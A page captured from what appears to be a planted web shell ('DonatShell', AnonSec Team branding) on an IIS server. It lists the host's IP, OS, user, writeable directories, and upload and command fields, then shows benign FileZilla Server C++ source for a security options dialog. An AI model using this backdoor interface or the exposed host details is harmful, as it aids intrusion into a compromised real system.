DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.252
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Program Files (x86)/FileZilla Server/source/interface/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /Program Files (x86)/FileZilla Server/source/interface//OptionsSecurityPage.cpp
// FileZilla Server - a Windows ftp server

// Copyright (C) 2002-2004 - Tim Kosse <tim.kosse@gmx.de>

// This program is free software; you can redistribute it and/or
// modify it under the terms of the GNU General Public License
// as published by the Free Software Foundation; either version 2
// of the License, or (at your option) any later version.

// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.

// You should have received a copy of the GNU General Public License
// along with this program; if not, write to the Free Software
// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.

// OptionsSecurityPage.cpp: Implementierungsdatei
//

#include "stdafx.h"
#include "filezilla server.h"
#include "OptionsDlg.h"
#include "OptionsPage.h"
#include "OptionsSecurityPage.h"

#if defined(_DEBUG) && !defined(MMGR)
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

/////////////////////////////////////////////////////////////////////////////
// Dialogfeld COptionsSecurityPage 


COptionsSecurityPage::COptionsSecurityPage(COptionsDlg *pOptionsDlg, CWnd* pParent /*=NULL*/)
	: COptionsPage(pOptionsDlg, COptionsSecurityPage::IDD, pParent)
{
	//{{AFX_DATA_INIT(COptionsSecurityPage)
	m_bInFxp = FALSE;
	m_bInFxpStrict = FALSE;
	m_bOutFxp = FALSE;
	m_bOutFxpStrict = FALSE;
	//}}AFX_DATA_INIT
}


void COptionsSecurityPage::DoDataExchange(CDataExchange* pDX)
{
	COptionsPage::DoDataExchange(pDX);
	//{{AFX_DATA_MAP(COptionsSecurityPage)
	DDX_Control(pDX, IDC_OUTFXPSTRICT, m_cOutFxpStrict);
	DDX_Control(pDX, IDC_INFXPSTRICT, m_cInFxpStrict);
	DDX_Check(pDX, IDC_INFXP, m_bInFxp);
	DDX_Check(pDX, IDC_INFXPSTRICT, m_bInFxpStrict);
	DDX_Check(pDX, IDC_OUTFXP, m_bOutFxp);
	DDX_Check(pDX, IDC_OUTFXPSTRICT, m_bOutFxpStrict);
	//}}AFX_DATA_MAP
}


BEGIN_MESSAGE_MAP(COptionsSecurityPage, COptionsPage)
	//{{AFX_MSG_MAP(COptionsSecurityPage)
	ON_BN_CLICKED(IDC_INFXP, OnInfxp)
	ON_BN_CLICKED(IDC_OUTFXP, OnOutfxp)
	//}}AFX_MSG_MAP
END_MESSAGE_MAP()

/////////////////////////////////////////////////////////////////////////////
// Behandlungsroutinen für Nachrichten COptionsSecurityPage 

void COptionsSecurityPage::OnInfxp() 
{
	UpdateData(TRUE);
	m_cInFxpStrict.EnableWindow(m_bInFxp);
	
}

void COptionsSecurityPage::OnOutfxp() 
{
	UpdateData(TRUE);
	m_cOutFxpStrict.EnableWindow(m_bOutFxp);		
}

BOOL COptionsSecurityPage::OnInitDialog() 
{
	COptionsPage::OnInitDialog();
	
	m_cInFxpStrict.EnableWindow(m_bInFxp);
	m_cOutFxpStrict.EnableWindow(m_bOutFxp);
	
	return TRUE;  // return TRUE unless you set the focus to a control
	              // EXCEPTION: OCX-Eigenschaftenseiten sollten FALSE zurückgeben
}

void COptionsSecurityPage::LoadData()
{
	m_bInFxp = !m_pOptionsDlg->GetOptionVal(OPTION_INFXP);
	m_bOutFxp = !m_pOptionsDlg->GetOptionVal(OPTION_OUTFXP);
	m_bInFxpStrict = m_pOptionsDlg->GetOptionVal(OPTION_NOINFXPSTRICT) != 0;
	m_bOutFxpStrict = m_pOptionsDlg->GetOptionVal(OPTION_NOOUTFXPSTRICT) != 0;
}

void COptionsSecurityPage::SaveData()
{
	m_pOptionsDlg->SetOption(OPTION_INFXP, !m_bInFxp);
	m_pOptionsDlg->SetOption(OPTION_OUTFXP, !m_bOutFxp);
	m_pOptionsDlg->SetOption(OPTION_NOINFXPSTRICT, m_bInFxpStrict);
	m_pOptionsDlg->SetOption(OPTION_NOOUTFXPSTRICT, m_bOutFxpStrict);
}

Anon7 - 2022
AnonSec Team